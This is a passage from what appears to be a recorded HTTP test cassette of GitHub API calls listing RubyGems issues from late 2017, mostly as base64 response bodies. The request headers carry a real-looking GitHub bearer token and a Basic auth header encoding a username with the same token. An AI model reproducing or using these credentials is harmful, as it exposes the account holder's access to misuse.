pdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNzgiLCJsYWJlbHMiOnsibm9kZXMiOlt7Im5hbWUiOiJzdGF0dXM6IHVzZXIgZmVlZGJhY2sgcmVxdWlyZWQifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHhNUzB4TjFReE1Ub3lOem93TlMwd05Ub3dNTTRRWXZSYyIsIm5vZGUiOnsibnVtYmVyIjoyMDgwLCJjcmVhdGVkQXQiOiIyMDE3LTExLTE3VDE2OjI3OjA1WiIsImNsb3NlZEF0IjoiMjAxNy0xMi0xMVQyMzo0NjoyMloiLCJ1cGRhdGVkQXQiOiIyMDE3LTEyLTExVDIzOjQ2OjIyWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJHZW0gQ2VydCBEb2Vzbid0IFVwZGF0ZSBUcnVzdGVkIENlcnRpZmljYXRlcyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA4MCIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6InN0YXR1czogdXNlciBmZWVkYmFjayByZXF1aXJlZCJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TnkweE1TMHhOMVF4TXpvd016bzBNQzB3TlRvd01NNFFZMkhNIiwibm9kZSI6eyJudW1iZXIiOjIwODEsImNyZWF0ZWRBdCI6IjIwMTctMTEtMTdUMTg6MDM6NDBaIiwiY2xvc2VkQXQiOiIyMDE3LTExLTIyVDA5OjU0OjEwWiIsInVwZGF0ZWRBdCI6IjIwMTctMTEtMjJUMDk6NTQ6MTBaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6ImdlbSB1cGRhdGUgLS1zeXN0ZW0gKDIuNy4yKSBkZWxldGVzIGJ1bmRsZXItYXVkaXQgYW5kIGJ1bmRsZXItcGF0Y2ggZ2VtcyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA4MSIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHhNUzB4TjFReE56b3lPRG95TUMwd05Ub3dNTTRRWkdhMSIsIm5vZGUiOnsibnVtYmVyIjoyMDgyLCJjcmVhdGVkQXQiOiIyMDE3LTExLTE3VDIyOjI4OjIwWiIsImNsb3NlZEF0IjpudWxsLCJ1cGRhdGVkQXQiOiIyMDE3LTEyLTEyVDAyOjA0OjUyWiIsInN0YXRlIjoiT1BFTiIsInRpdGxlIjoiUlZNIGZhaWxzIHRvIGluc3RhbGwgUnVieUdlbXMgMi43LjIgYXMgcGFydCBvZiBpbnN0YWxsaW5nIFJ1YnkgMi40LjIgZnJvbSBzb3VyY2UsIG9uIG1hY09TIFNpZXJyYSIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA4MiIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6InN0YXR1czogdXNlciBmZWVkYmFjayByZXF1aXJlZCJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TnkweE1TMHhPVlF5TURveU16b3hNeTB3TlRvd01NNFFaMmtzIiwibm9kZSI6eyJudW1iZXIiOjIwODMsImNyZWF0ZWRBdCI6IjIwMTctMTEtMjBUMDE6MjM6MTNaIiwiY2xvc2VkQXQiOiIyMDE3LTExLTIyVDEzOjI4OjEyWiIsInVwZGF0ZWRBdCI6IjIwMTctMTEtMjNUMDA6MTY6NDBaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6ImJ1bmRsZXIuYmF0IGlzIG5vdCB3b3JraW5nIGFmdGVyIFJ1YnlnZW1zIHVwZGF0ZSIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA4MyIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIn1dfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB4TVMweU1WUXdORG96TVRvME1DMHdOVG93TU00UWJmTlUiLCJub2RlIjp7Im51bWJlciI6MjA4NSwiY3JlYXRlZEF0IjoiMjAxNy0xMS0yMVQwOTozMTo0MFoiLCJjbG9zZWRBdCI6IjIwMTctMTEtMjFUMTQ6MjQ6NDNaIiwidXBkYXRlZEF0IjoiMjAxNy0xMS0yMVQxNDoyNDo0M1oiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiV2FybmluZ3Mgd2hlbiBleHRyYWN0aW5nIHRoZSBzb3VyY2UgdGFyYmFsbCAodGFyOiBJZ25vcmluZyB1bmtub3duIGV4dGVuZGVkIGhlYWRlciBrZXl3b3JkICdTQ0hJTFkuZGV2JykiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwODUiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB4TVMweU1WUXdPRG8wTmpvd015MHdOVG93TU00UWJ4d0ciLCJub2RlIjp7Im51bWJlciI6MjA4OCwiY3JlYXRlZEF0IjoiMjAxNy0xMS0yMVQxMzo0NjowM1oiLCJjbG9zZWRBdCI6IjIwMTctMTEtMjJUMDM6MzA6MjlaIiwidXBkYXRlZEF0IjoiMjAxNy0xMS0yMlQwMzozMDoyOVoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiYHJ1Ynkgc2V0dXAucmJgIG9uIHYyLjcuMiBicmVha3MgaWYgbG9jYWxlIGlzIG1pc3NpbmciLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwODgiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB4TVMweU1WUXhORG8xTkRveU5DMHdOVG93TU00UWNQcWQiLCJub2RlIjp7Im51bWJlciI6MjA5MiwiY3JlYXRlZEF0IjoiMjAxNy0xMS0yMVQxOTo1NDoyNFoiLCJjbG9zZWRBdCI6IjIwMTctMTEtMzBUMTU6MzY6MjRaIiwidXBkYXRlZEF0IjoiMjAxNy0xMS0zMFQyMzoyMDozNloiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiVW5hYmxlIHRvIHVzZSBnZW0gaW5zdGFsbCBvbiBMdXN0cmUgZmlsZXN5c3RlbSBtb3VudGVkIHdpdGggbm9mbG9jayIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA5MiIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHhNUzB5TWxRd05qbzFORG8wTmkwd05Ub3dNTTRRZEE4QyIsIm5vZGUiOnsibnVtYmVyIjoyMDk1LCJjcmVhdGVkQXQiOiIyMDE3LTExLTIyVDExOjU0OjQ2WiIsImNsb3NlZEF0IjoiMjAxNy0xMS0yM1QxMDoyOToxM1oiLCJ1cGRhdGVkQXQiOiIyMDE3LTExLTIzVDEwOjI5OjEzWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJIZWxsbyBndXlzLCBJJ20gaGF2aW5nIGEgcHJvYmxlbS4gV2hlbiBJIHRyeSB0byBleGVjdXRlIFwiZ2VtIGluc3RhbGwgaW5zdGFsbGVyXCIsIEkgZ290IHRoaXMgZXJyb3IuIEFueSBmaXggZm9yIHRoaXMgPyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA5NSIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHhNUzB5TTFRd09Eb3lNem95TUMwd05Ub3dNTTRRZVIrTCIsIm5vZGUiOnsibnVtYmVyIjoyMDk3LCJjcmVhdGVkQXQiOiIyMDE3LTExLTIzVDEzOjIzOjIwWiIsImNsb3NlZEF0IjoiMjAxNy0xMS0yNFQwODoyNjoyOVoiLCJ1cGRhdGVkQXQiOiIyMDE3LTExLTI0VDA4OjI2OjMwWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJnZW0geWFuayBub3Qgd29ya2luZyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA5NyIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHhNaTB3TVZRd05Ub3pPRG8xT0Mwd05Ub3dNTTRRbUcwcyIsIm5vZGUiOnsibnVtYmVyIjoyMTA4LCJjcmVhdGVkQXQiOiIyMDE3LTEyLTAxVDEwOjM4OjU4WiIsImNsb3NlZEF0IjoiMjAxNy0xMi0xN1QyMDo0ODoyMFoiLCJ1cGRhdGVkQXQiOiIyMDE3LTEyLTE3VDIwOjQ4OjIwWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJlcnJvciBvbiBleGVjdXRlIFwicnVieSBzZXR1cC5yYlwiIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTA4IiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoic3RhdHVzOiB1c2VyIGZlZWRiYWNrIHJlcXVpcmVkIn1dfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOeTB4TWkweE1WUXhNRG8xTWpvMU1DMHdOVG93TU00UXdMMzAiLCJub2RlIjp7Im51bWJlciI6MjExMSwiY3JlYXRlZEF0IjoiMjAxNy0xMi0xMVQxNTo1Mjo1MFoiLCJjbG9zZWRBdCI6bnVsbCwidXBkYXRlZEF0IjoiMjAxNy0xMi0xOVQwMzo1MToxM1oiLCJzdGF0ZSI6Ik9QRU4iLCJ0aXRsZSI6InJ1YnlnZW1zIGluc3RhbGxlciB1c2VzIGFic29sdXRlIHBhdGhuYW1lcyBpbiBnZW5lcmF0ZWQgd2luZG93cyBzdHViIGJhdGNoIGZpbGVzIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTExIiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwifSx7Im5hbWUiOiJnb29kIGZpcnN0IGlzc3VlIn0seyJuYW1lIjoicGxhdGZvcm06IHdpbmRvd3MifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE55MHhNaTB4TjFReE1qb3hOem94TXkwd05Ub3dNTTRRMmNxQiIsIm5vZGUiOnsibnVtYmVyIjoyMTEzLCJjcmVhdGVkQXQiOiIyMDE3LTEyLTE3VDE3OjE3OjEzWiIsImNsb3NlZEF0IjpudWxsLCJ1cGRhdGVkQXQiOiIyMDE3LTEyLTE5VDEwOjI1OjE0WiIsInN0YXRlIjoiT1BFTiIsInRpdGxlIjoiQ2FuJ3QgaW5zdGFsbCBnZW1zIG9uIHdpbmRvd3MgYmVjYXVzZSBvZiBTU0wiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTMiLCJsYWJlbHMiOnsibm9kZXMiOlt7Im5hbWUiOiJzdGF0dXM6IHRyaWFnZSJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TnkweE1pMHhPRlF5TWpvek1Eb3lNeTB3TlRvd01NNFEzNnVBIiwibm9kZSI6eyJudW1iZXIiOjIxMTQsImNyZWF0ZWRBdCI6IjIwMTctMTItMTlUMDM6MzA6MjNaIiwiY2xvc2VkQXQiOiIyMDE3LTEyLTI1VDAyOjAyOjU2WiIsInVwZGF0ZWRBdCI6IjIwMTctMTItMjVUMDI6MDI6NTZaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6IkludGVybWl0dGVudCBmYWlsdXJlcyAtIFRlc3RHZW1Mb2NhbFJlbW90ZU9wdGlvbnMjdGVzdF9jbGVhcl9zb3VyY2VzX29wdGlvbl9pZGlvdF9wcm9vZiIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExNCIsImxhYmVscyI6eyJub2RlcyI6W119fX1dfX19fQ== http_version: recorded_at: Sat, 06 Jan 2018 15:00:30 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNy0xMi0xOFQyMjozMDoyMy0wNTowMM4Q36uA\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:30 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4972' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.094815' X-Github-Request-Id: - C69E:4D97:903F70:1C4909E:5A50E48E body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0yMFQxNDo1MDoyNS0wNTowMM4Q6I7C","node":{"number":2120,"createdAt":"2017-12-20T19:50:25Z","closedAt":null,"updatedAt":"2017-12-23T04:42:29Z","state":"OPEN","title":"Give option to generate Windows bin stubs regardless of host OS","url":"https://github.com/rubygems/rubygems/issues/2120","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0yMlQwNDoxNjo1NC0wNTowMM4Q7zUm","node":{"number":2123,"createdAt":"2017-12-22T09:16:54Z","closedAt":"2017-12-23T02:06:47Z","updatedAt":"2017-12-25T08:10:37Z","state":"CLOSED","title":"RG 2.7 Updater broke Travis CI environment.","url":"https://github.com/rubygems/rubygems/issues/2123","labels":{"nodes":[{"name":"type: bug fix"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0yNVQwNTo0NjoxOC0wNTowMM4Q9CT6","node":{"number":2129,"createdAt":"2017-12-25T10:46:18Z","closedAt":null,"updatedAt":"2017-12-26T03:51:06Z","state":"OPEN","title":"gem yank - suggestion to exchange the HTML output on the commandline with some more succinct error/warning message to the user","url":"https://github.com/rubygems/rubygems/issues/2129","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0yNlQxODo1OTozNS0wNTowMM4Q9wUx","node":{"number":2133,"createdAt":"2017-12-26T23:59:35Z","closedAt":null,"updatedAt":"2017-12-27T00:56:50Z","state":"OPEN","title":"Randomly failing Travis jobs after minitest5","url":"https://github.com/rubygems/rubygems/issues/2133","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0yN1QxNjoyNToxNy0wNTowMM4Q+a68","node":{"number":2134,"createdAt":"2017-12-27T21:25:17Z","closedAt":null,"updatedAt":"2017-12-30T11:34:26Z","state":"OPEN","title":"--destdir appears to be broken for installing rubygems 2.7.x","url":"https://github.com/rubygems/rubygems/issues/2134","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMS0wM1QyMTo0NToyOS0wNTowMM4RCfzt","node":{"number":2140,"createdAt":"2018-01-04T02:45:29Z","closedAt":null,"updatedAt":"2018-01-05T13:47:17Z","state":"OPEN","title":"`gem install` tries to access bad URL","url":"https://github.com/rubygems/rubygems/issues/2140","labels":{"nodes":[{"name":"status: triage"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:30 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/issues body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:31 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4316' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ee4954c7439de2022d59a606b0fda215" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.246562' X-Github-Request-Id: - A3D4:4D95:F48D9A:1C854E4:5A50E48E body: encoding: ASCII-8BIT string: !binary |- W3sidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjE0MCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTQwL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTQwL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxNDAvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxNDAiLCJpZCI6Mjg1ODY3MjQ1LCJudW1iZXIiOjIxNDAsInRpdGxlIjoiYGdlbSBpbnN0YWxsYCB0cmllcyB0byBhY2Nlc3MgYmFkIFVSTCIsInVzZXIiOnsibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo4LCJjcmVhdGVkX2F0IjoiMjAxOC0wMS0wNFQwMjo0NToyOVoiLCJ1cGRhdGVkX2F0IjoiMjAxOC0wMS0wNVQxMzo0NzoxN1oiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik9XTkVSIiwiYm9keSI6Ikluc3RhbGxpbmcgZ2VtcyBvbiBKUnVieSBzb21ldGltZXMgZmFpbHMgd2l0aCBhIDQwMyBlcnJvciBhZnRlciBgZ2VtIGluc3RhbGxgIHRyaWVzIHRvIGZldGNoIGFuIGludmFsaWQgVVJMOlxyXG5cclxuYGBgXHJcbmJhc2N1bGVAZXBpcGh5dGUyOn4kIHJ1YnkgLXZcclxuanJ1YnkgOS4xLjE1LjAgKDIuMy4zKSAyMDE3LTEyLTA3IDkyOWZkZTggSmF2YSBIb3RTcG90KFRNKSA2NC1CaXQgU2VydmVyIFZNIDI1LjE1MS1iMTIgb24gMS44LjBfMTUxLWIxMiAraml0IFtsaW51eC14ODZfNjRdXHJcbmJhc2N1bGVAZXBpcGh5dGUyOn4kIGdlbSAtdlxyXG4yLjcuNFxyXG5iYXNjdWxlQGVwaXBoeXRlMjp+JCBnZW0gaW5zdGFsbCBlZDI1NTE5XHJcbkVSUk9SOiAgV2hpbGUgZXhlY3V0aW5nIGdlbSAuLi4gKEdlbTo6UmVtb3RlRmV0Y2hlcjo6RmV0Y2hFcnJvcilcclxuICAgIGJhZCByZXNwb25zZSBGb3JiaWRkZW4gNDAzIChodHRwczovL2FwaS5ydWJ5Z2Vtcy5vcmcvcXVpY2svTWFyc2hhbC40LjgvZWQyNTUxOS0xLjIuMy1qYXZhLmdlbXNwZWMucnopXHJcbmBgYFxyXG5cclxuQWNjb3JkaW5nIHRvIEBkd3JhZGNsaWZmZSwgdGhlIFVSTCBzaG91bGQgYmUgYGh0dHBzOi8vYXBpLnJ1YnlnZW1zLm9yZy9xdWljay9NYXJzaGFsLjQuOC9lZDI1NTE5LTEuMi4zLWpydWJ5LmdlbXNwZWMucnpgIGluc3RlYWQuIFNlZSBhbHNvIHJ1YnlnZW1zL3J1YnlnZW1zLm9yZyMxNzAwLiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEzOSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTM5L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTM5L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMzkvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMTM5IiwiaWQiOjI4NTU3MTkwNCwibnVtYmVyIjoyMTM5LCJ0aXRsZSI6IlRlc3QgZml4ZXMgLSBmaXggaW50ZXJtaXR0ZW50IHRlc3RzLCBhbGwgdGVzdGluZyBkb25lIHdpdGhvdXQgaG9lIiwidXNlciI6eyJsb2dpbiI6Ik1TUC1HcmVnIiwiaWQiOjE1MDgxMTc2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTA4MTE3Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUy